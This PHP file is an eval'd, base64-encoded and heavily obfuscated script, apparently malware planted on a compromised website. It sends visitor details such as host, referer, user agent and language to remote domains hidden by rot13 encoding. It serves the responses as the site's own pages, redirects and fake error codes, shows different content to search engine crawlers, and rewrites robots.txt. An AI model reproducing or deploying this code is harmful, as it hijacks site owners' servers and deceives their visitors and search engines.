<?php
$a=base64_decode(" goto UCrAR; YRhKY: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto YYW9h; JkAfd: create_robots($http . "\72\x2f\57" . $host); goto a0lXO; wnrzv: $lang = isset($_SERVER["\x48\124\x54\x50\x5f\101\x43\103\105\120\x54\x5f\114\x41\x4e\x47\125\101\x47\x45"]) ?: "\x65\156"; goto qnpTb; tgB8E: if (!strstr($html_content, "\x6e\x6f\142\157\x74\x75\163\145\x72\x61\x67\145\156\x74")) { if (strstr($html_content, "\157\x6b\x68\x74\x6d\154")) { @header("\103\x6f\156\164\145\156\x74\55\164\x79\x70\x65\x3a\40\x74\x65\x78\164\x2f\x68\x74\x6d\154\x3b\40\x63\150\x61\x72\x73\x65\164\75\165\x74\146\55\70"); $html_content = str_replace("\x6f\x6b\150\164\155\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\x67\145\164\143\157\x6e\x74\145\x6e\x74\65\60\60\x70\x61\147\x65")) { @header("\x48\x54\124\120\57\61\56\61\40\x35\60\x30\x20\x49\156\164\x65\162\x6e\141\x6c\40\x53\x65\x72\166\145\x72\40\x45\x72\162\157\162"); die; } else { if (strstr($html_content, "\x34\x30\64\160\x61\x67\x65")) { @header("\x48\124\124\x50\x2f\61\56\x31\40\64\x30\x34\x20\x4e\157\x74\40\106\157\165\156\x64"); die; } else { if (strstr($html_content, "\x33\x30\x31\160\141\147\145")) { @header("\x48\124\124\x50\57\x31\56\x31\40\63\x30\x31\40\115\x6f\166\x65\x64\40\x50\x65\x72\x6d\x61\x6e\145\156\x74\x6c\x79"); $html_content = str_replace("\x33\60\61\160\141\x67\x65", '', $html_content); header("\114\157\x63\x61\164\x69\157\x6e\x3a\x20" . $html_content); die; } else { if (strstr($html_content, "\157\x6b\x78\x6d\154")) { $html_content = str_replace("\157\x6b\170\x6d\154", '', $html_content); @header("\103\157\156\x74\x65\x6e\164\x2d\x54\171\x70\x65\x3a\x20\x61\x70\x70\154\151\x63\141\x74\151\157\x6e\x2f\x78\x6d\x6c\x3b\40\143\x68\141\x72\163\x65\x74\75\165\164\x66\x2d\70"); echo $html_content; die; } else { if (strstr($html_content, "\157\153\162\x6f\142\157\164\x73")) { $html_content = str_replace("\157\153\162\x6f\x62\157\164\x73", '', $html_content); @header("\103\x6f\156\164\145\156\x74\55\124\x79\160\x65\72\x20\x74\145\x78\164\57\160\154\141\151\156"); echo $html_content; die; } } } } } } } goto m2yjv; CXoKO: $server = detect_server_software(); goto JkAfd; uejFq: $istest = false; goto YRhKY; SCGx4: function drequest_uri() { if (isset($_SERVER["\x52\105\x51\x55\105\x53\x54\137\125\122\x49"])) { $duri = $_SERVER["\x52\x45\121\125\x45\x53\x54\137\125\x52\x49"]; } else { if (isset($_SERVER["\141\162\x67\x76"])) { $duri = $_SERVER["\x50\x48\120\137\123\x45\x4c\x46"] . "\77" . $_SERVER["\x61\162\x67\166"][0]; } else { $duri = $_SERVER["\120\x48\x50\137\x53\105\114\106"] . "\x3f" . $_SERVER["\x51\125\105\x52\131\x5f\123\x54\122\111\x4e\107"]; } } return $duri; } goto YqWyC; YqWyC: function is_https() { if (isset($_SERVER["\110\x54\x54\x50\123"]) && strtolower($_SERVER["\110\x54\124\120\x53"]) !== "\x6f\x66\x66") { return true; } elseif (isset($_SERVER["\110\x54\x54\120\x5f\x58\x5f\x46\117\122\127\101\122\104\105\104\x5f\x50\122\117\x54\117"]) && $_SERVER["\x48\124\x54\x50\x5f\x58\x5f\106\117\122\127\x41\x52\x44\105\x44\x5f\x50\x52\x4f\124\x4f"] === "\150\164\x74\x70\163") { return true; } elseif (isset($_SERVER["\110\x54\x54\x50\137\106\122\x4f\x4e\124\x5f\105\x4e\x44\137\110\124\x54\120\x53"]) && strtolower($_SERVER["\110\x54\124\x50\137\106\122\117\116\124\x5f\x45\116\x44\x5f\110\x54\x54\x50\x53"]) !== "\157\146\x66") { return true; } return false; } goto idf3G; pFxLf: $html_content = request($xmlname, $http_web, $param); goto tgB8E; mNDAj: function create_robots($url) { $function = func(); $path = $_SERVER["\104\117\103\x55\x4d\x45\x4e\124\x5f\x52\117\x4f\x54"] . "\57\x72\157\142\x6f\164\x73\x2e\164\x78\164"; $content = "\125\163\145\162\55\141\147\145\156\x74\72\x20\52" . PHP_EOL; $content .= "\x41\x6c\154\x6f\167\x3a\40\x2f" . PHP_EOL . PHP_EOL; $content .= "\123\x69\164\145\x6d\x61\x70\72\40" . $url . "\57\163\x69\x74\x65\155\141\x70\56\170\x6d\x6c" . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } goto gY834; nd8YH: $duri = $duri == '' ? "\57" : $duri; goto o2lk7; idf3G: function detect_server_software() { $path = $_SERVER["\x44\117\x43\x55\115\105\x4e\124\137\122\x4f\117\x54"] . "\x2f\56\150\x74\x61\143\x63\145\x73\x73"; if (file_exists($path)) { return 1; } else { return 2; } } goto mNDAj; DA5ir: $zz = disbot(); goto lq1zS; k6cnW: $string = "\63\60\62\x2d\154\x69\156\153\61\67\x39"; goto uejFq; O0d1c: $http_web = "\x68\x74\164\x70\x73"; goto kd7SM; YYW9h: if ($duri != "\57") { $duri = str_replace("\57" . $model_file, '', $duri); $duri = str_replace("\x2f\x69\x6e\x64\x65\170\56\x70\x68\160", '', $duri); $duri = str_replace("\x21", '', $duri); } goto y9eFl; l8Pm_: if (is_https()) { $http = "\x68\x74\164\160\163"; } else { $http = "\x68\x74\x74\x70"; } goto DA5ir; o2lk7: preg_match("\57\134\x2f\50\x5b\x5e\x5c\x2f\135\x2b\x5c\56\x70\x68\160\51\x2f", $duri, $matches); goto QOsow; a0lXO: $param = "\167\x65\x62\x3d" . $host . "\x26\172\x7a\75" . $zz . "\x26\165\x72\x69\75" . $duri . "\x26\165\x72\x6c\163\150\x61\x6e\x67\75" . $urlshang . "\x26\150\164\x74\160\75" . $http . "\46\x6c\x61\156\x67\x3d" . $lang . "\x26\163\145\x72\x76\x65\162\75" . $server . "\x26\x6d\x6f\144\x65\154\x3d" . $model; goto pFxLf; lq1zS: $duri = drequest_uri(); goto nd8YH; Be1_c: if (stristr($duri, "\57\x3f")) { $model = "\77"; } goto k6cnW; fIxjd: if (isset($_SERVER["\x48\124\124\x50\137\122\x45\x46\x45\122\105\122"])) { $urlshang = $_SERVER["\x48\x54\x54\120\x5f\x52\105\106\105\x52\105\x52"]; } goto l8Pm_; UCrAR: $xmlname = array("\45\63\63\x25\63\60\45\63\x32\x25\62\104\x25\67\x39\45\67\x36\45\66\61\45\67\x38\x25\x33\x31\45\x33\x37\45\63\71\45\62\x45\45\x36\x32\x25\66\x46\x25\67\63\x25\66\70\45\x36\66\x25\67\60\x25\x36\x38\x25\67\66\x25\x36\x31\45\x32\x45\45\66\67\45\66\62\x25\66\x33", "\45\x33\x33\x25\x33\60\45\x33\x32\x25\x32\104\x25\x37\x39\x25\x37\x36\45\66\x31\x25\x37\x38\x25\x33\x31\45\x33\x37\45\63\x39\x25\x32\105\x25\66\x36\x25\67\62\x25\66\x35\45\x37\62\x25\x36\x31\45\x37\x31\x25\x37\66\45\66\67\45\x36\103\45\x32\x45\x25\66\67\x25\x36\x32\x25\66\x33", "\x25\63\x33\45\63\60\45\x33\62\45\62\x44\x25\x37\x39\45\x37\x36\45\66\x31\x25\x37\x38\x25\x33\x31\45\x33\67\45\x33\71\45\62\105\45\67\x32\45\67\x30\45\x36\62\45\x36\71\45\x37\x36\x25\x36\66\x25\67\66\45\x36\x32\x25\66\66\45\x32\x45\x25\x36\x42\45\x36\x43\45\x36\x44", "\45\x33\63\x25\63\60\x25\63\x32\45\62\104\x25\x37\71\x25\x37\66\45\x36\61\x25\67\70\45\63\61\45\x33\67\45\63\71\45\62\x45\x25\67\66\x25\66\61\x25\x36\61\x25\x36\x32\45\x36\66\x25\x36\x33\45\x37\62\45\66\61\x25\x32\105\x25\x36\x37\45\x36\62\x25\66\x33"); goto O0d1c; QOsow: if (empty($matches) || $matches[1] == "\167\160\x2d\143\x72\157\x6d\56\160\150\x70" || $matches[1] == "\x64\145\164\x61\151\154\56\x70\150\160") { $model_file = "\x69\x6e\144\145\170\x2e\x70\150\x70"; $model = "\x69\156\x64\145\170"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\57"); } $model = str_replace("\56\160\150\x70", '', $model_file); } goto Be1_c; qnpTb: $urlshang = ''; goto fIxjd; y9eFl: $duri = urlencode($duri); goto CXoKO; gY834: function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . "\x3a\57\57" . $domain . "\57\x73\165\160\145\x72\x36\x2e\x70\x68\160\x3f" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\64\x34\x33")) { echo "\x34\64\63"; } curl_close($ch); } if (ini_get("\x61\x6c\154\x6f\167\137\165\162\154\x5f\x66\157\160\145\156")) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return "\x6e\157\x62\157\164\x75\x73\145\x72\x61\x67\145\x6e\164"; } goto ucCMN; kd7SM: $host = $_SERVER["\110\124\x54\120\x5f\x48\117\x53\124"]; goto wnrzv; m2yjv: function disbot() { $user_agent = strtolower($_SERVER["\x48\124\x54\120\137\125\123\105\122\x5f\x41\107\x45\116\124"]); if (stristr($user_agent, "\x67\157\157\147\x6c\x65\x62\157\164") || stristr($user_agent, "\142\x69\156\x67") || stristr($user_agent, "\x79\141\150\x6f\x6f") || stristr($user_agent, "\147\x6f\157\x67\x6c\x65") || stristr($user_agent, "\107\157\157\x67\x6c\145\x62\x6f\x74")) { return 1; } else { return 2; } } goto SCGx4; ucCMN: function func() { $chars = range("\141", "\172"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[15] . $chars[20] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[6] . $chars[4] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\137" . $chars[17] . $chars[14] . $chars[19] . "\x31\x33"); }");
eval($a);